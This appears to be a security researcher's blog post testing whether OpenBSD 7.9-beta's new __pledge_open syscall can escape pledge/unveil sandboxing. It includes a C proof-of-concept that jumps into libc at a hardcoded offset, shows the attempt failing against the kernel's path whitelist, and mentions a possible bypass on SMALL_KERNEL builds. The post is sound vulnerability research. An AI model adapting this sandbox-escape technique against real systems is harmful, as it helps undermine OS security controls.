A recent article of the OpenBSD journal caught me attention: Pledge changes in 7.9-beta (archive.org mirror as it's currently offline).
The quoted message starts with:
Previously under certain promises it was possible to open certain files or devices even if the program didn't pledge "rpath" or "wpath". This behavior has gone away in 7.9-beta; libc uses the special
__pledge_open(2)syscall which cannot be used outside of libc.
So a new syscall, bypassing pledge/unveil, interesting. The "cannot be used
outside of libc" is likely referring to
pinsyscall, which is an
indirect call away. Let's check if this is indeed a sandbox escape. The
function
setservent_r
has a call to __pledge_open, so let's jump directly on the call to please
pinsyscall:
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <signal.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <string.h>
#define F "/tmp/pwned.txt"
typedef int unrestricted_open(const char *, int, ...);
static void on_sigtrap(int sig, siginfo_t *si, void *ctx) {
// Catch the int3 of setprotoent's epilogue function
(void)sig; (void)si; (void)ctx;
write(STDERR_FILENO, "caught SIGTRAP\n", 15);
char out[20];
int fd = 4;
printf("Trying to read fd: %d\n", fd);
if (read(fd, out, sizeof(out)) < 0 ){
puts("can't read");
} else {
puts(out);
}
exit(0);
}
int main(int argc, char** argv) {
unveil("/home/", "r");
unveil(NULL, NULL);
struct sigaction sa;
memset(&sa, 0, sizeof(sa));
sa.sa_sigaction = on_sigtrap;
sa.sa_flags = SA_SIGINFO;
sigemptyset(&sa.sa_mask);
if (sigaction(SIGTRAP, &sa, NULL) == -1) {
perror("sigaction");
return 1;
}
int fd = open(F, O_RDONLY);
printf("Got fd for open: %d\n", fd);
open(F, O_RDONLY);
// offsets for -current valid at 2026-04-02
size_t daemon_addr = &daemon;
// get the address of the call to __pledge_open in setprotoent
size_t unrestricted_open_addr = daemon_addr - (0x00076980 - 0x000E0A07);
unrestricted_open* unrestricted_open_fcn = (unrestricted_open*)unrestricted_open_addr;
unrestricted_open_fcn(F, O_RDONLY);
return 0;
}
Unfortunately:
openbsd$ clang ./test.c && ./a.out
1 warning generated.
Got fd for open: -1
caught SIGTRAP
Trying to read fd: 4
can't read
openbsd$
This is because there is a check in the form of
pledge_namei, with hardcoded paths:
/*
* Need to make it more obvious that one cannot get through here
* without the right flags set
*/
int
pledge_namei(struct proc *p, struct nameidata *ni, char *path)
{
// […]
/*
* In specific promise situations, __pledge_open() can open
* specific paths and ignores rpath, wpath, or unveil restrictions.
*/
if (ni->ni_unveil & UNVEIL_PLEDGEOPEN) {
#ifdef SMALL_KERNEL
/* To save ramdisk space, we trust the libc provided paths */
ni->ni_cnd.cn_flags |= BYPASSUNVEIL;
#else
int item;
item = checkpledgepaths(path);
if (item == 0 &&
strncmp(path, "/usr/share/zoneinfo/",
sizeof("/usr/share/zoneinfo/") - 1) == 0) {
const char *cp;
item = PLEDGEPATH_ZONEINFO;
for (cp = path + sizeof("/usr/share/zoneinfo/") - 2;
*cp; cp++) {
if (cp[0] == '/' &&
cp[1] == '.' && cp[2] == '.' &&
(cp[3] == '/' || cp[3] == '\0')) {
item = 0; /* bad path */
break;
}
}
}
switch (item) {
case 0:
/* Invalid path provided to __pledge_open */
return (pledge_fail(p, EACCES, (nip & ~ple)));
/* "stdio" - for daemon(3) or other such functions */
case PLEDGEPATH_NULL:
if ((nip & ~(PLEDGE_RPATH | PLEDGE_WPATH)) == 0)
ni->ni_cnd.cn_flags |= BYPASSUNVEIL;
break;
/* "tty" - readpassphrase(3), getpass(3) */
case PLEDGEPATH_TTY:
if ((ple & PLEDGE_TTY) &&
(nip & ~(PLEDGE_RPATH | PLEDGE_WPATH)) == 0)
ni->ni_cnd.cn_flags |= BYPASSUNVEIL;
break;
/* "getpw" requirements */
case PLEDGEPATH_SPWD:
/* XXX should remove nip check! */
if ((ple & PLEDGE_GETPW) && (nip == PLEDGE_RPATH))
return (EPERM);
break;
case PLEDGEPATH_PWD:
/* FALLTHROUGH */
case PLEDGEPATH_GROUP:
/* FALLTHROUGH */
case PLEDGEPATH_NETID:
if ((ple & PLEDGE_GETPW) && (nip == PLEDGE_RPATH))
ni->ni_cnd.cn_flags |= BYPASSUNVEIL;
break;
/* "dns" requirements */
case PLEDGEPATH_RESOLVCONF:
/* FALLTHROUGH */
case PLEDGEPATH_HOSTS:
/* FALLTHROUGH */
case PLEDGEPATH_SERVICES:
/* FALLTHROUGH */
case PLEDGEPATH_PROTOCOLS:
if ((ple & PLEDGE_DNS) && (nip == PLEDGE_RPATH))
ni->ni_cnd.cn_flags |= BYPASSUNVEIL;
break;
/* tzset() often happen late in programs */
case PLEDGEPATH_LOCALTIME:
/* FALLTHROUGH */
case PLEDGEPATH_ZONEINFO:
if (nip == PLEDGE_RPATH)
ni->ni_cnd.cn_flags |= BYPASSUNVEIL;
break;
default:
panic("pledgepaths table is broken");
}
#endif /* SMALL_KERNEL */
}
// […]
Maybe it's worth reading emails in their entirety after all, instead of only the first paragraph, as it ended with:
The list of promises and the special paths which could previously be opened under that promise is:
stdio /dev/null (rpath or wpath) /etc/localtime /usr/share/zoneinfo
tty /dev/tty (rpath or wpath)
dns /etc/resolv.conf /etc/hosts /etc/services /etc/protocols
getpw /etc/group /etc/netid /etc/pwd.db (the .db files really should be left to the system) /etc/spwd.db (could not open, but returned EPERM)
As a small consolation, it might still be a valid bypass on OpenBSD with a
compiled with SMALL_KERNEL, but OpenBSD being what it is, -current doesn't
compile with the SMALL_KERNEL option, and I can't be arsed to fix it:
openbsd# make
cc -g -Werror -Wall -Wimplicit-function-declaration -Wno-pointer-sign -Wframe-larger-than=2047 -Wno-address-of-packed-member -Wno-constant-conversion -Wno-unused-but-set-variable -Wno-gnu-folding-constant -mcmodel=kernel -mno-red-zone -mno-sse2 -mno-sse -mno-3dnow -mno-mmx -msoft-float -fno-omit-frame-pointer -ffreestanding -fno-pie -msave-args -mno-retpoline -fcf-protection=none -Oz -pipe -nostdinc -I/sys -I/usr/src/sys/arch/amd64/compile/GENERIC/obj -I/sys/arch -I/sys/dev/pci/drm/include -I/sys/dev/pci/drm/include/uapi -I/sys/dev/pci/drm/amd/include/asic_reg -I/sys/dev/pci/drm/amd/include -I/sys/dev/pci/drm/amd/amdgpu -I/sys/dev/pci/drm/amd/display -I/sys/dev/pci/drm/amd/display/include -I/sys/dev/pci/drm/amd/display/dc -I/sys/dev/pci/drm/amd/display/amdgpu_dm -I/sys/dev/pci/drm/amd/pm/inc -I/sys/dev/pci/drm/amd/pm/legacy-dpm -I/sys/dev/pci/drm/amd/pm/swsmu -I/sys/dev/pci/drm/amd/pm/swsmu/inc -I/sys/dev/pci/drm/amd/pm/swsmu/smu11 -I/sys/dev/pci/drm/amd/pm/swsmu/smu12 -I/sys/dev/pci/drm/amd/pm/swsmu/smu13 -I/sys/dev/pci/drm/amd/pm/swsmu/smu14 -I/sys/dev/pci/drm/amd/pm/powerplay/inc -I/sys/dev/pci/drm/amd/pm/powerplay/hwmgr -I/sys/dev/pci/drm/amd/pm/powerplay/smumgr -I/sys/dev/pci/drm/amd/pm/swsmu/inc -I/sys/dev/pci/drm/amd/pm/swsmu/inc/pmfw_if -I/sys/dev/pci/drm/amd/display/dc/inc -I/sys/dev/pci/drm/amd/display/dc/inc/hw -I/sys/dev/pci/drm/amd/display/dc/clk_mgr -I/sys/dev/pci/drm/amd/display/dc/dccg -I/sys/dev/pci/drm/amd/display/dc/dio -I/sys/dev/pci/drm/amd/display/dc/dpp -I/sys/dev/pci/drm/amd/display/dc/dsc -I/sys/dev/pci/drm/amd/display/dc/dwb -I/sys/dev/pci/drm/amd/display/dc/hubbub -I/sys/dev/pci/drm/amd/display/dc/hpo -I/sys/dev/pci/drm/amd/display/dc/hwss -I/sys/dev/pci/drm/amd/display/dc/hubp -I/sys/dev/pci/drm/amd/display/dc/dml2 -I/sys/dev/pci/drm/amd/display/dc/dml2/dml21 -I/sys/dev/pci/drm/amd/display/dc/dml2/dml21/inc -I/sys/dev/pci/drm/amd/display/dc/dml2/dml21/src/dml2_core -I/sys/dev/pci/drm/amd/display/dc/dml2/dml21/src/dml2_dpmm -I/sys/dev/pci/drm/amd/display/dc/dml2/dml21/src/dml2_mcg -I/sys/dev/pci/drm/amd/display/dc/dml2/dml21/src/dml2_pmo -I/sys/dev/pci/drm/amd/display/dc/dml2/dml21/src/dml2_standalone_libraries -I/sys/dev/pci/drm/amd/display/dc/dml2/dml21/src/inc -I/sys/dev/pci/drm/amd/display/dc/mmhubbub -I/sys/dev/pci/drm/amd/display/dc/mpc -I/sys/dev/pci/drm/amd/display/dc/opp -I/sys/dev/pci/drm/amd/display/dc/optc -I/sys/dev/pci/drm/amd/display/dc/pg -I/sys/dev/pci/drm/amd/display/dc/resource -I/sys/dev/pci/drm/amd/display/modules/inc -I/sys/dev/pci/drm/amd/display/modules/hdcp -I/sys/dev/pci/drm/amd/display/dmub/inc -I/sys/dev/pci/drm/i915 -DDDB -DDIAGNOSTIC -DKTRACE -DACCOUNTING -DKMEMSTATS -DPTRACE -DPOOL_DEBUG -DCRYPTO -DSYSVMSG -DSYSVSEM -DSYSVSHM -DUVM_SWAP_ENCRYPT -DFFS -DFFS2 -DUFS_DIRHASH -DQUOTA -DEXT2FS -DMFS -DNFSCLIENT -DNFSSERVER -DCD9660 -DUDF -DMSDOSFS -DFIFO -DFUSE -DSOCKET_SPLICE -DTCP_ECN -DTCP_SIGNATURE -DINET6 -DIPSEC -DPPP_BSDCOMP -DPPP_DEFLATE -DPIPEX -DMROUTING -DMPLS -DBOOT_CONFIG -DUSER_PCICONF -DAPERTURE -DMTRR -DNTFS -DSUSPEND -DHIBERNATE -DSMALL_KERNEL -DPCIVERBOSE -DUSBVERBOSE -DWSDISPLAY_COMPAT_USL -DWSDISPLAY_COMPAT_RAWKBD -DWSDISPLAY_DEFAULTSCREENS="6" -DX86EMU -DI915 -DONEWIREVERBOSE -DMAXUSERS=80 -D_KERNEL -MD -MP -c /sys/dev/acpi/acpibtn.c
/sys/dev/acpi/acpibtn.c:292:12: error: use of undeclared identifier 'pwr_action'
292 | switch (pwr_action) {
| ^
1 error generated.
*** Error 1 in /usr/src/sys/arch/amd64/compile/GENERIC (Makefile:2680 'acpibtn.o')
openbsd#
So who knows.
(Thanks to K3 for looking into this with me.)